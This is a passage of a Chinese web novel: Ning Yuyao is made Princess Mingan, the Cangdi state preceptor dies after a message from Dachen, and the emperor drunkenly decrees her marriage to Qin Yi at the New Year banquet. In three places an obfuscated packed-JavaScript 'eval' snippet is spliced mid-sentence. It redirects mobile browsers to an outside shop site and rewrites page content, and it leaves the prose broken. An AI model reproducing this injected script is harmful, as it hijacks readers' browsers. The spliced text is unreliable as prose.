秦夫人专注地整理着手中的名册,上面详细记录着冠礼的流程和所需物品,管事匆匆走过来禀报:“夫人,姑奶奶,陛下下诏,册封明安郡主为明安公主。” 秦夫人和秦秀灵听闻此言,先是一愣随后四目相对,皆感虽在意料之外,却在情理之中。 这些日子,外头的风声他们也有所耳闻,陛下对明安郡主的恩宠有目共睹,如此捧着明安郡主,其中必有深意,只是没想到会册封郡主为公主。 这么一来…… 秦夫人沉思片刻后,将手中的名册合上,放在一旁的桌子上,“秦熠的冠礼一切从简,当务之急是赶紧把聘礼单子拿出来,不合适的赶紧换了,该添置的要重新添置。” 原本秦家想着等秦熠加冠后就请冰人上门提亲,两家长辈早已互通心意,也算是过了明路,并不担心会生变。 但如今郡主身份不同以往,聘礼若是有不符合规制的东西,也必须赶紧换了。越是这个关头,秦家越不能够怠慢。 “娘,”秦熠也得到消息从外面跑了进来,“我听说明安被册封为公主了?” “没错,”秦夫人应了一声,她拿着聘礼单子,一件一件仔细查看,嘴里敷衍地回答道:“现在没空管你的冠礼,到时候就只请族中长辈来给你加冠便罢了。” 秦熠对自己的事情向来不上心,满脑子都只有娶明安这件大事。 他凑过去,看着秦夫人手中的单子,指着里面一对金宝瓶道:“这个不好看,换了。” “换什么换,你懂什么,一边待着去。”秦夫人不耐烦地驱赶捣乱的儿子,“你要是在没事干,去准备公主的册封礼,诏书已下,册封大典也就在这些时日了。” 秦熠一拍脑袋,意识到这才是大事。他急匆匆地往外跑去,很快消失得无影无踪。 秦府上下因为明安郡主被册封为公主之事忙得人仰马翻之时,承武帝的诏书迅速传遍了雁京的大街小巷。 雁京府衙外,告示牌旁早已围聚了大量的百姓。 人群熙熙攘攘,不知是谁高喊了一声,“陛下圣明!” 紧接着,“圣上圣明”的呼喊声此起彼伏。 在这片欢呼声中,稍微有点眼力劲儿的人都能明白承武帝这些时日的举动是为了什么。无非就是顺应民意,众望所归罢了。 仅仅是一个公主之位,陛下却如此精心筹谋,每一个步骤都恰到好处,每一个安排都彰显着对明安郡主的重视,明安公主在陛下心中的地位可见一斑。 不过话说回来,以明安公主对大宸社稷的贡献而言,她也担得起这公主之位。 正因如此,这次册封的事难得没人反对,进展得十分顺利,雁京城里的达官贵族们也都在忙着准备贺礼。 不管雁京城如何忙乱,只要不出大乱子,承武帝都不会过问,此刻他正坐在汤池中,浸泡在江思明为他精心调配的药浴中,从骨头里泛出来的疼痛,让他额上的豆大的汗珠不断往下掉落。 浴房内仅有苏德茂贴身伺候,以及暗翎暗中守候,其余人等不得入内。 承武帝不允许任何人见到他如此狼狈的模样。 于承武帝而言,这一个时辰的时间仿若度日如年,直至沙漏中的沙子完全流尽,他才如释重负般地长舒一口气,一种劫后余生之感油然而生。 暗翎旋即从房梁上飞身而下,将承武帝抱至御榻上。 尽管经过药浴之后,承武帝明显察觉到身体有所好转,可他的内心并无喜悦之情,毕竟他本不应遭受如此磨难。 他轻轻吐出一口浊气,问暗翎:“苍荻的人安排进去了吗?” “启禀陛下,已经安排妥当。”暗翎恭敬回道。 承武帝闭着眼睛,仿佛睡着了,片刻后才缓缓说道:“快过年了,将大宸的喜讯告诉苍荻,让他们也高兴高兴,过个好年。” “遵旨。”暗翎领旨迅速退下,得动作快些才好,听说苍荻国师状况已经不妙,若消息传递稍有延迟,那可就太遗憾了。 苍荻国师已极度虚弱,意识如风中残烛,几近消逝。他静静地躺在床上,身体一动不动,呼吸微弱得仿若不存在一般。 子夜的国师府愁云惨淡。 国都司殿中的奉司们神色凝重地围聚在国师的寝房外,他们心怀鬼胎,目光交汇之际,猜忌与欲望在彼此的对视中悄然蔓延。 国师府的下人们在一旁默默忙碌,他们对这些奉司们视若无睹,眼中满是厌恶。 国师尚存一息,而这些人却已然迫不及待地觊觎国师之位,实在是令人不齿。 就在两方人相看两相厌时,谁也没注意到,一名侍卫悄悄靠近国师,他迅速地将一张纸条塞进国师手中,而后俯身在国师耳边低语了几句。 原本毫无生机的国师,猛地睁开双眼,用尽全身最后一丝力气,嘶哑地呼喊:“大宸……大宸!” 屋外的人被这突如其来的喊声吓得不轻,惊慌失措地朝着屋内奔来。 然而当他们冲进屋内时,房内空无一人,只有国师双目圆睁,眼中残留着最后的一丝执念,彻底没了呼吸。 国师府的丧钟响彻国都,国都内悲恸的嚎哭声震天动地。 苍荻王无力地躺在软塌上,他神色晦暗地看着手中的纸条,那纸条有些褶皱,正是国师死时手中紧攥的那张纸条,纸条上的字迹清晰可见:“苍荻于大宸所布之人手已悉数被拔除。承武帝对苍荻照料江老神医之举心怀感激,正因苍荻之照拂,江老神医方能安康至九十余岁,且得以顺利归国,医愈承武帝之疾。” 每一个字都像是一把锋利的刀,狠狠地刺痛着苍荻王的心。 苍荻王忽然想起前些时日,嘉阳长公主率领大军,用上万吨火药炸开了金禹关后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098269|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长公主仅仅只是围了启宁镇,便连夜离开了。 当时,谁也不明白大宸此举究竟所图为何。现在想来,他们就只是为了那位神医罢了。 江老神医…… 这个名字在苍荻王的脑海中不断盘旋。 他懊悔地闭上眼睛,谁不知道江老神医的大名,他的医术堪称出神入化,若早知道江老神医就在苍荻,或许他和国师的病也有治愈的可能。 但现在,一切都已经太晚了,国师已死,他自己也时日无多。 反观大宸,不但毫发无损,还趁机占据了苍荻东南三城,并且正一步步地朝着国都逼近。 他恨,恨那个明安郡主!居然戏耍他们两次!到最后她还能安然逃脱,简直是奇耻大辱! 想到明安郡主,他的脑海中突然闪过一个被他忽略已久的人,他连忙转头,看向一旁战战兢兢的内侍,声音沙哑地问道:“北穆来的王女呢?” “启禀王上,王女被关在灵晋殿。”内侍恭敬地回道,他低着头,不敢直视苍荻王愤怒的眼神。 灵晋殿位于王宫深处僻静之处,那里阴暗潮湿,四周寂静得可怕。 自从苍荻王和国师病重后,他们对北穆王女也充满了怨恨,若不是那个骗子冒用了北穆王女的身份,他们的王和国师也不会落得如此下场。 苍荻王咬牙切齿地说道:“把那个女人给本王押上来!” “是!”内侍连忙退下。 然而,没过多久,内侍脸色苍白,惊慌失措地跑进王殿,“王……王上,不好,北穆王女跑了!” “什么?”苍荻王听到这个消息,只觉一阵气血上涌,几欲吐血,一个两个都把苍荻当成什么地方了,居然说跑就跑! 他的手猛地一挥,将手边的茶盏砸落在地。茶盏瞬间四分五裂,茶盏碎裂的瓷片飞溅,割伤了内侍的脸颊。 “一群废物,连个女人都看不住,给本王追!” 大批兵士如潮水般从国都涌出,朝着不同的方向追去。然而,他们搜遍了每一个角落,却寻不到苍荻王想要抓捕的人,只留下一片茫茫夜色。 苍荻国境西南方,一个不知名小国内。 阳光洒在广袤无垠的草原上,微风拂过,绿草如波浪般轻轻摇曳。 两名妙龄少女正悠然自得地赶着羊群,那羊群就像是天空中洁白的云朵,在草原上缓缓移动。 其中一名少女目光落在羊群中的一只小羊羔身上,少女忍不住舔了舔嘴唇,朝着不远处的另一名少女大声喊道:“扎木雅!我们晚上吃烤全羊吧!” 那群羔羊似乎感受到了危险的气息,它们仿佛能够听懂少女所说的话,顿时骚乱起来。 小羊们四处乱窜,朝着不同的方向狂奔而去,原本整齐有序的羊群瞬间变得混乱不堪。 正在另一边赶羊的扎木雅气得直跳脚,“你再捣乱,我把你给烤了喂羊。” 娜塔听到扎木雅的威胁并不害怕,反而笑得更大声了。 扎木雅一看王女这样,无奈地叹了口气,就知道她指望不上了。她只能认命地重新拿起赶羊的鞭子,努力驱赶着那些受惊的羊群。 她们来到这里已经一个月有余了。在得知苍荻王和国师病倒的消息后,扎木雅便意识到她们复国无望,一旦苍荻王和国师病逝,苍荻必定会内乱,他们也必定会迁怒于王女。到那时,王女的处境将会极其危险。 扎木雅当机立断,连夜带着娜塔悄悄地逃离了国都。 北方的北穆是她们回不去的故乡,东南方的大宸她们不能去。扎木雅只能带着娜塔一路往西南方向走。 她们风餐露宿,历经艰辛,终于找到了这个从来不知道名字的小国,她们决定在此定居下来。 扎木雅赶着金器换来的羊群,看着娜塔脸上灿烂的笑容,她的嘴角也不自觉地微微上扬,或许带着这个没心没肺的殿下就这么平平淡淡地活一辈子也不错。 126.赐婚 腊月十八,册封大典过后,宁玉瑶便成为了名正言顺,载入皇室玉牒的明安公主。 即便已经过去了好些时日,宁玉瑶回想起册封大典,依旧有一种不真实的恍惚感。 她努力地想要回忆起当时的每一个细节,可记忆却像是被轻纱笼罩,模糊不清。 她不记得自己是如何一步步走上白玉阶,只记得白玉阶在阳光下闪烁着温润柔和的光泽。 从那之后,宁玉瑶的生活看似平静如水,没有任何变化,却又在细微之处悄然改变。 譬如她的闺房,如今多了许多精美器具,它们与她以前所用的一般精致,却又有着本质的不同。 宁玉瑶躺在床上,眼神放空,手指轻轻描摹着床幔上的蟒纹。 这是以往她只能在娘亲房中才能看到的图案,她从未想过,有朝一日自己也能使用这样尊贵的图案。 “殿下,您醒了。”屋外的青筱听到屋内的动静,走进屋内。 宁玉瑶过了好一会儿才反应过来是在叫自己,她迷茫的眼神逐渐有了焦点,轻轻应了一声。 床幔被轻轻撩起,柔软的布料顺着手臂的动作滑落至一旁,被挂在床侧的金钩上。 青黛上前来扶起宁玉瑶,见她脸上还有些迷茫,已经这么多日了,殿下似乎还未习惯自己身份的转变,轻笑着柔声说道:“殿下,长公主殿下遣人来转告您,待会儿您随长公主殿下一同进宫。” “告诉娘,我知道了。”宁玉瑶的声音还带着一丝刚睡醒的慵懒。 今日便是除夕,今年虽有大皇子宫变,但好在有惊无险,并未酿成更为严重的祸事。这些时日也算是喜事连连。 承武帝回想起去年的除夕,因着各种烦心事,过得有些冷清压抑,便决定要在今年好好地热闹一场。 温热的手巾轻轻拂过脸庞,带走了残留的困意。宁玉瑶在侍女们伺候下梳洗完毕,换上了新制的公主朝服,金丝银线绣成的蠎纹在阳光下熠熠生辉。 她静静地坐在梳妆镜前,青黛站在她身后,手法娴熟地将她如瀑青丝一缕一缕地挽起,梳成了百合髻的样式。 青筱手捧着头面盒子走上前来,里面各种发饰琳琅满目,等待宁玉瑶挑选。 宁玉瑶犹豫了片刻,轻声道:“将熠哥哥送我的那支金簪拿来。” 她所说的金簪,是她册封大典那日,秦熠送给她的贺礼,一支纯金嵌宝花鸟纹簪。簪身以纯金打造,金色的鸟儿的羽毛纤毫毕现,花朵栩栩如生,其上镶嵌的宝石色彩斑斓,红似烈火,蓝若深海。 这支金簪一看便知是耗费了巨大的精力和心血,经过无数次雕琢打磨才打造出来的。 她看着镜子中头上那支金簪,忍不住伸手轻轻抚摸,指尖划过簪身,一抹红晕不自觉地浮上脸颊,宛若天边的晚霞。 待宁玉瑶收拾停当来到前厅,祁婧惠与宁渊都瞧见了她头上的金簪。 祁婧惠走上前,拉住正要行礼的宁玉瑶,“不必多礼。今日是除夕,命妇们要来向你请安,我们得早点进宫。” 这是公主册封后的首个除夕,依大宸旧例,有品级的命妇都要拜见公主。宁玉瑶明白这是重要的事,赶忙随母亲出门。 宁渊和宁璟瑞留在原地,惆怅地对视一眼,女大不中留啊。 跟在后面出门的姜婉珍,牵着女儿宁雅娴,轻笑过了年,玉瑶就十九岁了。不管家人有多不舍,总归要嫁人的,不能一直留在家中。好在秦府和长公主府只隔一条巷子,比那些远嫁的姑娘好,以后相见容易些。 这一整天,宁玉瑶都坐在母亲和皇后身旁,接受命妇们的请安,一直到夜幕降临。 华灯初上,定和殿内灯火辉煌,宛如白昼。 丝竹声幽然婉转,舞姬们身着彩衣,似花丛中翩翩起舞的蝴蝶,轻盈地旋转着。 长桌上摆满了金盘玉碗,盘中的珍馐佳肴散发着诱人的香气。 然而,在坐之人都无心品尝这些美食,皆好奇地打量着坐在诚国公下首的一名布衣老者。 有消息灵通者,悄悄为身旁的人解惑,他声音压得极低,满脸神秘道:“你们知道江思明吗?” 年轻一辈听闻此言,更加疑惑,年龄稍长的人听到这个名字后,蹙眉沉思片刻,脑海中似有模糊的印象在努力拼凑。 突然,其中一人猛地一拍大腿,似是想起了什么重要的事情。 这动静不小,远处的人都被吸引了视线,他顿时有些尴尬,连忙压低声音,带着几分不确定问道:“可是那位江老神医?” 最开始说话那人微笑颔首。 一说江老神医,大家都纷纷反应过来,江老神医之名在大宸可谓家喻户晓。 有人轻声问:“可是江老神医不是二十余年前便已离世,当时就已有七十有余?” 这话一出,众人皆陷入沉思,心中满是疑惑。 另一人接话道:“陆院正师承江神医,他必不会认错,这么说来江老神医如今已经九十多了?” 众人听闻,不禁“嘶”地抽了一声冷气,目光变得更加灼热,紧紧地盯着江思明。九十岁啊,这简直就是人瑞,而且江老神医那一手活死人肉白骨的本事,谁人不知,谁人不晓。 这世间,谁身上没有点小病小痛?无论是达官贵人还是普通百姓,谁又不想得到这样一位名医的医治? 不过他们也只是想想罢了。 稍微思索之后,他们也已经想明白,这位江老神医的位置仅在诚国公之下,以及陛下这些时日身体肉眼可见地一日好过一日,这位江老神医的功劳必定不小。 众人长叹一声,心中虽有万般无奈和羡慕,但也知道这等机缘可遇不可求。 他们举起酒杯,一饮而尽,继续喝酒,不再去想那些遥不可及的事情。 坐在父亲秦柏身后的秦熠,亦对眼前的美味佳肴视若无睹,他定定地看着不远处的宁玉瑶,以及她头上的那支金簪,嘴角勾起一抹温柔的笑意。 他的思绪渐渐飘远,脑海中不由自主地浮现出三年前宫宴时的场景。彼时玉瑶也如现在这般坐在那里,也就是在那一天,他明白了自己对玉瑶的心意。 束冠后秦熠仿佛一夜之间褪去了曾经的青涩,他的眼神太过炽热,宁玉瑶感受到那滚烫的目光,双颊瞬间染上了红晕,从脸颊蔓延至耳根,让她本就娇艳的面容更加动人。 她有些羞涩地轻咬下唇,狠狠地瞪了秦熠一眼。 而在秦熠眼中,她的双眸宛如秋水潋滟,那带着嗔怒的一眼,就如同一只小猫伸出了爪子,爪子上带着钩子,在他的心上轻轻挠了一把,钩得他心痒难耐。 他有些慌乱,不敢再继续这样放肆地盯着她,连忙垂下头,一颗一颗地数着碗中的米粒。 酒意渐浓,至酣畅之时,承武帝举起手中的玉杯。 悠扬的丝竹声戛然而止,舞姬们步伐轻盈有序地悄然退下。 承武帝环视大殿,“今日乃除夕佳节,当万民欢庆,阖家团圆之时,李皓将军仍带兵坚守在苍荻前线,为我大宸之安宁浴血奋战。朕在此,敬大宸的每一位将士!” 文武百官听闻,纷纷起身,端起各自的酒杯,齐声高呼:“敬大宸将士!” 武将们激动不已,双目含泪,仰头将杯中的酒一饮而尽。 而李家家眷们,听到承武帝提及李皓,无不心潮起伏。他们侧首擦去眼角的泪水。 他们早已得知李皓被方廷峪削下一条手臂,恨不得生啖其肉。如今,看到陛下在除夕盛宴上,对李家父子在外征战之事念念不忘,对大宸将士如此敬重,士为知己者死,他们心中再无遗憾。 待百官们重新坐下,承武帝下意识地摩挲着手中的玉杯,温润的触感从指尖传来。他本想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105595|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁着这喜庆的节日,再饮一杯酒,却不经意间瞥见坐在下方的江老神医正目光灼灼地盯着他。为了少泡几次药浴,承武帝只得讪讪放下酒杯。 他的视线掠过秦家的席位时,目光微微一顿。忽然想起,似乎秦家那小子归来后,还未曾得到应有的封赏。 他微微皱眉,侧头轻声问身旁的苏德茂:“秦熠现在是何官职?” 苏德茂附在承武帝耳边轻声道:“回陛下,秦都司现任精锐营正四品都司。” “正四品……”承武帝轻声重复了一遍,他的手指轻轻敲击着御座的扶手,片刻后,他抬起头,“秦熠。” 一直心不在焉的秦熠,猛地回过神来,连忙起身,恭敬地躬身,朗声道:“微臣在。” “爱卿沙场纵横,奋勇杀敌,护大宸百姓安宁,扬大宸之威名,汝之功绩,朕皆看在眼里,今特封汝为精锐营校尉,望汝日后继续为朕分忧,为大宸社稷效命,勿负朕之信任。” 圣喻一出,满朝文武皆面露惊愕之色,众人交头接耳,窃窃私语。 秦熠这可是从正四品直接跃升至从二品! 虽说他战功赫赫,这赏赐看似理所应当,可他如今才二十二岁,如此年轻便获此殊荣,这等晋升速度,在大宸朝堂的历史上也是极为罕见的。 秦熠立即撩起衣袍前摆,双膝跪地,额头触地高声道:“微臣叩谢陛下隆恩,臣必当以死效命,捍卫大宸江山社稷,不负陛下所托,愿陛下万岁万岁万万岁,大宸昌盛永固!” “爱卿免礼吧。”承武帝微微抬手道,脸上露出满意的笑容,不经意间瞥见了正含笑看着秦熠的宁玉瑶,他心中一动,忽然像是酒虫上脑一般,兴致勃勃地喊道:“明安。” 宁玉瑶听到承武帝的呼喊,顿时有些慌乱,不知舅舅突然叫她所为何事,但此刻大庭广众之下,她只得强自镇定,起身行礼后应道:“陛下,明安在此。” 祁婧惠和皇后听到承武帝叫宁玉瑶,心中瞬间涌起一股不祥的预感。 果然,承武帝笑呵呵道:“明安也到适婚年龄了吧,朕今日瞧着这里有个青年才俊,与你甚是般配,朕便将他赏赐给你,你意下如何?” 祁婧惠听到这话,深吸一口气,缓缓闭上眼睛,暗暗咬牙。她心中无奈又有些恼怒,原本她希望女儿的婚事能按照正常的三书六聘流程,可没想到陛下这几杯酒下肚,就把这些都抛到了九霄云外。 厅中的宁玉瑶被承武帝这句话打得措手不及,她的脸颊瞬间绯红,但这是皇帝赐婚,而且赐婚的对象还是秦熠,于情于理,她都无法拒绝。 她轻抿着嘴唇,强忍着心中的羞涩,跪在地上行礼道:“明安谢陛下赐婚。” 秦熠见宁玉瑶应允,眼中的喜悦再也隐藏不住。 他从自己的席位走出,来到宁玉瑶身侧,跪下行了一个庄重大礼,语气激动地说道:“微臣谢陛下赐婚。” 任谁都能看出来,对他而言,赐婚甚至比升官还要让他高兴。 秦柏在一旁看着儿子的模样,尽管心中也是十分喜悦,但仍假意轻声念叨了一句:“没出息。” 满脸喜色的秦老夫人听到他的嘀咕,不满地瞪了儿子一眼。 秦柏立即收声,不敢再多说什么。 坐在龙椅上的承武帝看着下面跪着的那对郎才女貌的璧人,心中更是喜不自胜。只觉得这二人就如同天作之合,今日成就这桩婚事,定是一桩美谈。 他脑子一热,又高声说道:“钦天监一定要选个好日子,到时候明安从宫中出嫁。” 此话一出,皇后彻底捂住脸,不敢再看祁婧惠的脸色。 祁婧惠还勉强维持着自己的表情,宁渊虽然面上不显,但他手中的金杯却在不知不觉中被他用力揉成了一团。 皇后看着还笑得一脸喜庆的承武帝,希望您能承受住阿姐的怒火吧。 127.新年 从宫中回长公主府的路并不算长,秦熠骑着马,不紧不慢地跟在宁玉瑶的马车后面。 马蹄声在寂静的街道上回响,秦熠故意放慢速度,走走停停,就希望能多与她相伴片刻。 只是,即便他有意磨蹭,长公主府的大门还是很快出现在眼前。 宁玉瑶下了马车,眉眼弯弯朝着秦熠挥了挥手,走进长公主府。 秦熠痴痴地望着她,直到她的身影消失在府门内,才恋恋不舍地离去。 满身疲惫的宁玉瑶拒绝了侍卫们准备的肩舆,想走走平复自己纷乱的思绪。 经过前院时,却意外地发现偏厅那边灯火通明,里面隐隐传来阵阵呜咽声,那声音断断续续,像是有人极力压抑着悲伤。 她微微一顿,心中有些担忧,调转脚步朝偏厅走去。 还没等她靠近厅门,祁婧惠察觉到她的到来,从里面迎了出来,“瑶儿,怎么还不回去休息?” “娘,我听到有哭声,就过来看看,这里发生何事?”宁玉瑶伸长脖子,好奇地探头往厅内看去。 祁婧惠不着痕迹地挡住她的视线,“无事,是你爹和你哥哥在喝酒呢。” 她伸出手,轻轻地将女儿被寒风吹乱的发丝别到耳后,轻声哄着:“今日你在宫中劳累了一天,定是乏了,早些去歇着吧。你爹他们父子俩好久没一起畅快地喝一杯了,不用管他们。” 宁玉瑶乖巧地点点头,“那女儿先回去了,娘,让爹少喝些,醉酒伤身。” 说完,又看了一眼偏厅的方向,才转身离开。 “去吧。”祁婧惠含笑看着宁玉瑶一步步走远,等到女儿的身影彻底消失在视线尽头,她脸上的笑容瞬间消散,沉着脸快步走进偏厅。 厅内,宁渊抱着一个歪歪扭扭的小竹筐,双目通红,“瑶儿明明是我的女儿!是宁家的孩子!陛下自己有女儿,为何要抢我的女儿!” 他不停念叨着,将自己面前的酒杯再次斟满,酒水在杯中晃荡,溅出些许在桌上,他浑然不觉,仰头将酒一饮而尽,酒水顺着嘴角流下,打湿了他的衣衫。 坐在他身旁的宁璟瑞亦是满脸愁苦,他曾无数次憧憬过妹妹出嫁时的场景,他想要亲自背着妹妹出门。 可如今,瑶儿要从皇宫出嫁,他作为哥哥,什么都做不了,只能把满心不甘化作一杯又一杯酒水,闷头往肚子里灌。 祁婧惠听着那些宁渊反反复复说了无数次的话,她走上前,伸出手按住宁渊继续斟酒的手,轻声叹道:“瑶儿走之前还特意叮嘱,让你少喝点,醉酒伤身。” 此话一出,宁渊更觉憋闷,自己的乖女儿就要嫁人了,可他这个亲爹却不能送她出嫁,他悲从中来,再也控制不住自己的情绪,抱住女儿在小谷村亲手编织的小竹筐,默默流泪。 祁婧惠又何尝不气,女儿从宫中出嫁,在外人看来这或许是莫大的荣耀,可他们为人父母不能亲自送女儿这人生中最重要的一程,这荣耀于他们而言又有何用。 可是,陛下当着朝臣和命妇金口玉言,这是圣旨,他们又如何能违抗,只能把这满腔愤怒生生咽下去。 “别哭了,”祁婧惠头疼道,“这些时日我想想法子,看看能不能破例让我们入宫送嫁。” 宁渊和宁璟瑞一听,黯淡无光的眼睛瞬间一亮,宁渊激动地握住祁婧惠的手,连声说道:“惠娘,拜托你了。” 祁婧惠轻叹一声,温柔地扶起宁渊,侧头看向宁璟瑞,“大过年的,你也早些回去陪婉珍,别让她担心。” “是。”宁璟瑞听到母亲的话,心中的烦闷消散了许多。他连忙起身,躬身道:“娘,爹,儿子先回去了。” 祁婧惠微微颔首。 宁璟瑞走后,原本倚靠在祁婧惠身上的宁渊像是突然清醒了一些,他怕自己沉重的身躯累着妻子,努力想要站直身子。可他醉得实在厉害,脚下像是踩在棉花上一般,摇摇晃晃地,刚站直就险些摔倒。 在旁伺候的内侍们见状,急忙快步上前,小心翼翼地扶着他。 宁渊却是丝毫不在意自己的狼狈,对着祁婧惠咧嘴一笑。 “怎么醉成这样,”祁婧惠无奈,“罢了,我们也去休息吧。” 说着,她握住宁渊的手,向房内走去。 早已回到自己闺房内的宁玉瑶,尽管身体已经疲惫到了极致,却久久无法入睡。 今日发生的种种,如同走马灯一般在她脑海中不断闪现。 前些时日,娘亲就已经将她与秦家的约定告诉了她。原本,两家都欢欢喜喜地计划着,打算在正月的时候,请冰人上门说亲。 然而天不遂人愿,谁能想到舅舅会突然赐婚。宁玉瑶敏锐地察觉到,爹娘的脸色在那一瞬间异常凝重。 宁玉瑶躺在床上,惆怅叹气,她知道,舅舅和舅母是真心疼爱她的,可这毕竟是她的终身大事,这等重要的时刻,她更希望父母能够陪在自己身边。 然而,事已至此,再多说也只是徒增烦恼罢了,相信娘亲一定会想出办法的。 她翻了个身,不再去想。 今日赐婚,最高兴的恐怕就只有熠哥哥了。想起秦熠那合不拢嘴的傻样,宁玉瑶忍不住轻声笑出声来,她知道,熠哥哥他不会去管那些琐事,于他而言,只要能早日完婚那便是天大的好事。 一想到自己快要和熠哥哥结为夫妻,她的脸颊就像被火烧一般,从脸颊红到耳根,她害羞地拉过被子蒙住自己的头。 子夜的钟声,悠然响起,穿过锦被传入宁玉瑶的耳中。 她纷杂的思绪终于渐渐平静下来,清空了杂念,安然入睡。 新的一年到来,宁玉瑶十九岁了。 正月初一清晨,天还未亮,祁婧惠就急匆匆地冲进宫中。 承武帝已经想起他在除夕宫宴上做的好事,如今酒意虽退,却心虚得不敢面对祁婧惠,最后竟想出了装病的幼稚法子,还特地将江老神医找来守在身边。 祁婧惠站在承武帝寝宫外,无奈地对着紧闭的宫门说道:“陛下龙体要紧,不可用如此大事来诓我。” 躺在龙床上的承武帝听到阿姐担忧的话语,心中愧疚到了极致。 阿姐为他殚精竭虑,为了他的皇位稳固费尽心思,可他却因为自己的过错,如今连见阿姐一面都不敢。 他满心懊悔,连忙让苏德茂去开门请祁婧惠进来,但祁婧惠已经离开。 祁晖珏看见承武帝脸上的愧疚,连忙道:“父皇,今日正月初一,儿臣出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到江思明端起茶盏,轻抿了一口,她才问道:“江老,我爹身体如何?” 江思明放下茶盏,轻轻叹了口气,“国公爷十多年前伤了肺腑,但当初没能好好调养,拖得太久。老夫如今也没有十足的把握能根治,只能尽力而为,尽量减缓国公爷的症状,让他在天寒的时候能稍微好过些。” 听到江思明的这番话,厅内众人的神色瞬间黯淡了下来。不过,能让病情有所缓解,也算是不幸中的万幸了。祁婧惠早已接受了这个残酷的现实,她深吸一口气,道:“那便有劳江老神医了。” “殿下客气,”江思明将方才写好的方子递给侍女,“国公爷先按这个方子吃上几剂试试,若有何不适,再来找老夫。” 见江思明这边看诊完毕,已经将父皇的话带到的祁晖珏便带着弟弟和江思明告辞了。 宁玉瑶莫名地看着他们离去的背影,总觉得有些奇怪,待他们走得远了些,她才满脸疑惑地问母亲:“娘,江老来看诊,珏儿怎么带着小五来了? 祁婧惠和宁渊相视一笑,没有回答她,他们心里想着,等到时候再给女儿一个惊喜。 128.倒计时 虽有皇帝赐婚,诸多繁冗步骤得以减免,但祁婧惠不愿让女儿简单出嫁,执意吩咐礼部依照三书六聘的传统规制筹备婚事。一时间,两府上下人等皆忙得不可开交。 但这一切秦熠和宁玉瑶都插不上手,无人管束他们,秦熠便每日拉着宁玉瑶四处游玩。 又是一年上元佳节。 华灯初上,城北的花灯街宛如一条璀璨的银河落于人间,比往昔更加绚烂夺目,光彩照人。 再次置身其间,宁玉瑶面上覆着精致的兔儿面具,透过面具的孔洞看着周遭百姓欢声笑语,她的嘴角不自觉地上扬。 “看楼上。”正四处顾盼时,秦熠示意她看前方。 宁玉瑶仰起头,沈瑜和王沁婕在雅翠阁的楼上笑意盈盈地朝着她招手。 她笑着对她们挥了挥手,转头正欲对秦熠说话,眼角余光却瞥见不远处一个熟悉的身影。 那女子背对着他们,身侧站着一位书生模样的年轻男子,两人正专注地猜着灯谜。 宁玉瑶走过去,一把抓住那女子的手腕,将那名女子拽进雅翠阁。 那女子身旁的书生见状,不由得一愣,待看清秦熠后,知晓方才带走自己妻子的必是明安公主无疑,于是心下大安,拱手行礼道:“见过秦校尉。” “梁编修。”秦熠抬手还礼,提议道,“不如我们也上去等候?” 妻子已经带走,他没有兴致独自逛花灯街,梁编修颔首,跟着秦熠一同往雅翠阁走去。 前方的宁玉瑶拽着赵知妍的手腕,风风火火地朝楼上奔去。待好不容易爬到三楼厢房门前,赵知妍累得气喘吁吁,扶着楼梯的扶手,“殿……殿下……慢点走……不……不行吗……” 宁玉瑶闻声停下脚步,转头看向赵知妍,嫌弃道:“一年不见,你怎么虚成这样。” 赵知妍听到这话,咬了咬牙,提醒自己,眼前这位已是公主,不能再乱说话,但她还是忍不住说道:“自然比不上殿下生龙活虎。” “都嫁人了,还没好好管管你这张嘴,想来梁家对你不错。”沈瑜见宁玉瑶迟迟未进厢房,便起身出门相迎。刚将房门打开,便听到赵知妍的话。 宁玉瑶虽然知道赵知妍去年已经成婚,却不知晓她许配给了哪户人家。此刻听沈瑜提及梁家,不禁问道:“鸿胪寺卿梁大人?” 此刻厢房外人来人往,说话不便。沈瑜一手拉一人,将二人拉进了厢房中。 厢房内并非只有沈瑜和王沁婕二人,还有她们昔日的一众闺中密友。只是如今这些女子都已嫁为人妇,昔日的少女发饰早已换成了妇人发髻,更添了几分成熟温婉。 “殿下。”原本正坐着闲聊的少妇们瞧见宁玉瑶进来,纷纷起身欠身行礼。 宁玉瑶见此情形,微笑着带着几分亲昵地打趣道:“又跟我客套了。” 众人闻言,皆相视一笑,嬉笑着各自坐下。 沈瑜拉着宁玉瑶和赵知妍走到一旁空位坐下,这才回答方才宁玉瑶的问题:“正是梁大人幼子,现任翰林院编修。” 承武十七年秋闱,孙太傅家的长子孙文炤在此次科考中高中榜眼,之后与沈瑜定亲。 而鸿胪寺卿梁松年的幼子梁则,同年取中二甲进士,次年,便迎娶了赵御史家的千金赵知妍。 宁玉瑶悄悄问道:“这梁公子为人如何?” 沈瑜悄悄回答:“听说其人性子温和,连家中下人有时都能在他面前耍威风,梁夫人心疼儿子,特意为他挑选了性格直爽的知妍,想是希望能与他互补。” 